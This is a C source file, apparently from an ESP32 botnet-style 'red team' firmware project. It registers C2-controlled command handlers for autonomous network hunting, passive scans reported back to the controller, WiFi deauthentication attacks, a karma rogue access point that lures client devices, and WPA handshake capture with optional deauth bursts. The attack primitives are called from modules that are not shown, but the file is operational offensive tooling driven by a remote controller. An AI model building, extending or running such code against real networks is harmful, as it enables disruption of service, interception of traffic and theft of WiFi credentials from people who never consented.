espilon-source/espilon_bot/components/mod_redteam/cmd_redteam.c
Eun0us 2315979db0
Some checks failed
Discord Push Notification / notify (push) Has been cancelled
ε - Add WiFi offensive capabilities to mod_redteam
Phase 1 of v0.4.0 offensive modules:

- Promiscuous dispatcher (rt_promisc): shared IRAM callback multiplexer
  for stealth scan, karma, capture — solves single-callback ESP-IDF limit
- Attack manager (rt_attack): mutual exclusion ensuring only one
  offensive operation runs at a time
- Deauth refactored to use shared promisc dispatcher + attack lock
- Stealth passive scan migrated to promisc dispatcher
- Karma attack (rt_karma): probe request listener + probe response
  injection + rogue SoftAP with most-requested SSID + DNS responder
- WPA handshake capture (rt_capture): EAPOL frame capture via
  promiscuous DATA filter, 4-way handshake identification, optional
  deauth burst to trigger reconnection
- Kconfig: RT_BEACON, RT_KARMA, RT_CAPTURE toggle options
- 5 new C2 commands: rt_karma, rt_karma_stop, rt_karma_clients,
  rt_capture, rt_capture_stop (14 total in mod_redteam)
2026-03-01 02:08:28 +01:00

607 lines
17 KiB
C

/*
* cmd_redteam.c
* Red Team offensive operations — C2 command handlers.
*/
#include "sdkconfig.h"
#include "cmd_redteam.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "utils.h"
#include "rt_config.h"
#include "rt_hunt.h"
#include "rt_stealth.h"
#include "rt_mesh.h"
#include "rt_deauth.h"
#include "rt_promisc.h"
#include "rt_attack.h"
#ifdef CONFIG_RT_KARMA
#include "rt_karma.h"
#endif
#ifdef CONFIG_RT_CAPTURE
#include "rt_capture.h"
#endif
#define TAG "RT"
/* ============================================================
* COMMAND: rt_hunt [auto]
* Start the hunt. "auto" = enable auto-trigger on TCP failure.
* ============================================================ */
static int cmd_rt_hunt(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (rt_hunt_is_active()) {
msg_info(TAG, "Hunt already running", req);
return 0;
}
rt_hunt_trigger();
msg_info(TAG, "Hunt started", req);
return 0;
}
/* ============================================================
* COMMAND: rt_stop
* Stop hunt, restore WiFi + MAC + TX power.
* ============================================================ */
static int cmd_rt_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
if (!rt_hunt_is_active()) {
msg_info(TAG, "Hunt not running", req);
return 0;
}
rt_hunt_stop();
msg_info(TAG, "Hunt stopped, WiFi restored", req);
return 0;
}
/* ============================================================
* COMMAND: rt_status
* Report state, SSID, method, MAC, TX power.
* ============================================================ */
static int cmd_rt_status(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
rt_state_t state = rt_hunt_get_state();
uint8_t mac[6];
rt_stealth_get_current_mac(mac);
char buf[256];
snprintf(buf, sizeof(buf),
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
" nets=%d c2_fb=%d mesh=%s",
rt_hunt_state_name(state),
rt_hunt_connected_ssid(),
rt_hunt_connected_method(),
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
rt_config_net_count(),
rt_config_c2_count(),
rt_mesh_is_running() ? "on" : "off");
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: rt_scan
* WiFi scan + report results to C2 (recon).
* ============================================================ */
static int cmd_rt_scan(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
msg_info(TAG, "Passive scan starting...", req);
#ifdef CONFIG_RT_STEALTH
int found = rt_stealth_passive_scan(3000);
rt_scan_ap_t aps[RT_MAX_SCAN_APS];
int count = rt_stealth_get_scan_results(aps, RT_MAX_SCAN_APS);
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line),
"AP: %s ch=%d rssi=%d auth=%d bssid=%02X:%02X:%02X:%02X:%02X:%02X",
aps[i].ssid, aps[i].channel, aps[i].rssi, aps[i].auth_mode,
aps[i].bssid[0], aps[i].bssid[1], aps[i].bssid[2],
aps[i].bssid[3], aps[i].bssid[4], aps[i].bssid[5]);
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
char summary[64];
snprintf(summary, sizeof(summary), "Scan done: %d APs found", found);
msg_info(TAG, summary, req);
#else
msg_info(TAG, "Stealth not enabled, using active scan", req);
/* TODO: fallback to esp_wifi_scan_start() */
#endif
return 0;
}
/* ============================================================
* COMMAND: rt_net_add <ssid> <pass>
* Add/update a known network. Pass "" to remove.
* ============================================================ */
static int cmd_rt_net_add(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_net_add <ssid> [pass]", req);
return -1;
}
const char *ssid = argv[0];
const char *pass = (argc >= 2) ? argv[1] : "";
/* Empty string for pass means "remove" */
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
if (rt_config_net_remove(ssid)) {
char buf[96];
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Network not found", req);
}
return 0;
}
if (rt_config_net_add(ssid, pass)) {
char buf[96];
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "Failed to add network (full?)", req);
}
return 0;
}
/* ============================================================
* COMMAND: rt_net_list
* List known networks.
* ============================================================ */
static int cmd_rt_net_list(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
int count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
if (count == 0) {
msg_info(TAG, "No known networks", req);
return 0;
}
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
i, nets[i].ssid,
nets[i].pass[0] ? "***" : "(open)");
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
return 0;
}
/* ============================================================
* COMMAND: rt_mesh <start|stop>
* Enable/disable ESP-NOW mesh relay.
* ============================================================ */
static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
return -1;
}
#ifdef CONFIG_RT_MESH
if (strcmp(argv[0], "start") == 0) {
if (rt_mesh_is_running()) {
msg_info(TAG, "Mesh already running", req);
} else if (rt_mesh_start()) {
msg_info(TAG, "Mesh relay started", req);
} else {
msg_error(TAG, "Mesh start failed", req);
}
} else if (strcmp(argv[0], "stop") == 0) {
rt_mesh_stop();
msg_info(TAG, "Mesh relay stopped", req);
} else {
msg_error(TAG, "usage: rt_mesh <start|stop>", req);
}
#else
msg_error(TAG, "ESP-NOW mesh not enabled (CONFIG_RT_MESH)", req);
#endif
return 0;
}
/* ============================================================
* COMMAND: rt_deauth <bssid> [client] [count] [channel]
* Send 802.11 deauth frames to disconnect clients from an AP.
* ============================================================ */
static int cmd_rt_deauth(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_deauth <bssid> [client] [count] [channel]", req);
return -1;
}
/* Parse BSSID */
uint8_t bssid[6];
if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&bssid[0], &bssid[1], &bssid[2],
&bssid[3], &bssid[4], &bssid[5]) != 6) {
msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req);
return -1;
}
/* Parse optional client MAC */
uint8_t client[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
bool has_client = false;
if (argc >= 2 && strcmp(argv[1], "all") != 0) {
if (sscanf(argv[1], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&client[0], &client[1], &client[2],
&client[3], &client[4], &client[5]) == 6) {
has_client = true;
}
}
/* Parse optional count (0 = continuous) */
uint32_t count = 0;
if (argc >= 3) {
count = (uint32_t)atoi(argv[2]);
}
/* Parse optional channel */
uint8_t channel = 0;
if (argc >= 4) {
channel = (uint8_t)atoi(argv[3]);
}
rt_deauth_start(bssid, has_client ? client : NULL, channel, count, 10);
char buf[128];
snprintf(buf, sizeof(buf), "Deauth started: %s → %s%s",
argv[0],
has_client ? argv[1] : "broadcast",
count ? "" : " (continuous)");
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: rt_deauth_stop
* Stop the running deauth attack.
* ============================================================ */
static int cmd_rt_deauth_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
if (!rt_deauth_is_active()) {
msg_info(TAG, "Deauth not running", req);
return 0;
}
rt_deauth_stop();
msg_info(TAG, "Deauth stopped", req);
return 0;
}
/* ============================================================
* COMMAND: rt_karma [duration_s]
* Start karma listener (probe request responder + rogue AP).
* ============================================================ */
#ifdef CONFIG_RT_KARMA
static int cmd_rt_karma(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (rt_karma_is_active()) {
msg_info(TAG, "Karma already running", req);
return 0;
}
uint32_t duration = 0;
if (argc >= 1) {
duration = (uint32_t)atoi(argv[0]);
}
rt_karma_start(duration);
char buf[64];
snprintf(buf, sizeof(buf), "Karma started%s",
duration ? "" : " (continuous)");
msg_info(TAG, buf, req);
return 0;
}
static int cmd_rt_karma_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
if (!rt_karma_is_active()) {
msg_info(TAG, "Karma not running", req);
return 0;
}
rt_karma_stop();
msg_info(TAG, "Karma stopped", req);
return 0;
}
static int cmd_rt_karma_clients(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
rt_karma_client_t clients[RT_KARMA_MAX_CLIENTS];
int count = rt_karma_get_clients(clients, RT_KARMA_MAX_CLIENTS);
if (count == 0) {
msg_info(TAG, "No clients captured", req);
return 0;
}
for (int i = 0; i < count; i++) {
char line[128];
snprintf(line, sizeof(line),
"[%d] %02X:%02X:%02X:%02X:%02X:%02X ssid='%s' conn=%s",
i,
clients[i].mac[0], clients[i].mac[1], clients[i].mac[2],
clients[i].mac[3], clients[i].mac[4], clients[i].mac[5],
clients[i].ssid,
clients[i].connected ? "yes" : "no");
msg_data(TAG, line, strlen(line), (i == count - 1), req);
}
return 0;
}
#endif /* CONFIG_RT_KARMA */
/* ============================================================
* COMMAND: rt_capture <bssid> [channel] [deauth]
* Capture WPA 4-way handshake from target AP.
* ============================================================ */
#ifdef CONFIG_RT_CAPTURE
static int cmd_rt_capture(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: rt_capture <bssid> [channel] [deauth]", req);
return -1;
}
uint8_t bssid[6];
if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&bssid[0], &bssid[1], &bssid[2],
&bssid[3], &bssid[4], &bssid[5]) != 6) {
msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req);
return -1;
}
uint8_t channel = 0;
if (argc >= 2) {
channel = (uint8_t)atoi(argv[1]);
}
bool send_deauth = false;
if (argc >= 3 && strcmp(argv[2], "deauth") == 0) {
send_deauth = true;
}
rt_capture_start(bssid, channel, send_deauth);
char buf[96];
snprintf(buf, sizeof(buf), "Capture started: %s ch=%d%s",
argv[0], channel, send_deauth ? " +deauth" : "");
msg_info(TAG, buf, req);
return 0;
}
static int cmd_rt_capture_stop(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
if (!rt_capture_is_active()) {
msg_info(TAG, "Capture not running", req);
return 0;
}
rt_capture_stop();
msg_info(TAG, "Capture stopped", req);
return 0;
}
#endif /* CONFIG_RT_CAPTURE */
/* ============================================================
* Command table
* ============================================================ */
static const command_t rt_cmds[] = {
{
.name = "rt_hunt",
.sub = NULL,
.help = "Start autonomous network hunt",
.min_args = 0,
.max_args = 1,
.handler = (command_handler_t)cmd_rt_hunt,
.ctx = NULL,
.async = true,
},
{
.name = "rt_stop",
.sub = NULL,
.help = "Stop hunt, restore WiFi/MAC/TX",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_stop,
.ctx = NULL,
.async = false,
},
{
.name = "rt_status",
.sub = NULL,
.help = "Hunt state, MAC, method, config",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_status,
.ctx = NULL,
.async = false,
},
{
.name = "rt_scan",
.sub = NULL,
.help = "Passive WiFi scan + report to C2",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_scan,
.ctx = NULL,
.async = true,
},
{
.name = "rt_net_add",
.sub = NULL,
.help = "Add known network: rt_net_add <ssid> [pass]",
.min_args = 1,
.max_args = 2,
.handler = (command_handler_t)cmd_rt_net_add,
.ctx = NULL,
.async = false,
},
{
.name = "rt_net_list",
.sub = NULL,
.help = "List known networks",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_net_list,
.ctx = NULL,
.async = false,
},
{
.name = "rt_mesh",
.sub = NULL,
.help = "ESP-NOW mesh relay: rt_mesh <start|stop>",
.min_args = 1,
.max_args = 1,
.handler = (command_handler_t)cmd_rt_mesh,
.ctx = NULL,
.async = false,
},
{
.name = "rt_deauth",
.sub = NULL,
.help = "Deauth attack: rt_deauth <bssid> [client|all] [count] [channel]",
.min_args = 1,
.max_args = 4,
.handler = (command_handler_t)cmd_rt_deauth,
.ctx = NULL,
.async = true,
},
{
.name = "rt_deauth_stop",
.sub = NULL,
.help = "Stop deauth attack",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_deauth_stop,
.ctx = NULL,
.async = false,
},
#ifdef CONFIG_RT_KARMA
{
.name = "rt_karma",
.sub = NULL,
.help = "Karma: rt_karma [duration_s]",
.min_args = 0,
.max_args = 1,
.handler = (command_handler_t)cmd_rt_karma,
.ctx = NULL,
.async = true,
},
{
.name = "rt_karma_stop",
.sub = NULL,
.help = "Stop karma",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_karma_stop,
.ctx = NULL,
.async = false,
},
{
.name = "rt_karma_clients",
.sub = NULL,
.help = "List karma-captured clients",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_karma_clients,
.ctx = NULL,
.async = false,
},
#endif
#ifdef CONFIG_RT_CAPTURE
{
.name = "rt_capture",
.sub = NULL,
.help = "Capture WPA handshake: rt_capture <bssid> [ch] [deauth]",
.min_args = 1,
.max_args = 3,
.handler = (command_handler_t)cmd_rt_capture,
.ctx = NULL,
.async = true,
},
{
.name = "rt_capture_stop",
.sub = NULL,
.help = "Stop handshake capture",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_capture_stop,
.ctx = NULL,
.async = false,
},
#endif
};
/* ============================================================
* Registration
* ============================================================ */
void mod_redteam_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering red team commands");
rt_config_init();
rt_config_save_orig_mac();
rt_promisc_init();
rt_attack_init();
for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) {
command_register(&rt_cmds[i]);
}
}
#else /* !CONFIG_MODULE_REDTEAM */
void mod_redteam_register_commands(void) { /* empty */ }
#endif /* CONFIG_MODULE_REDTEAM */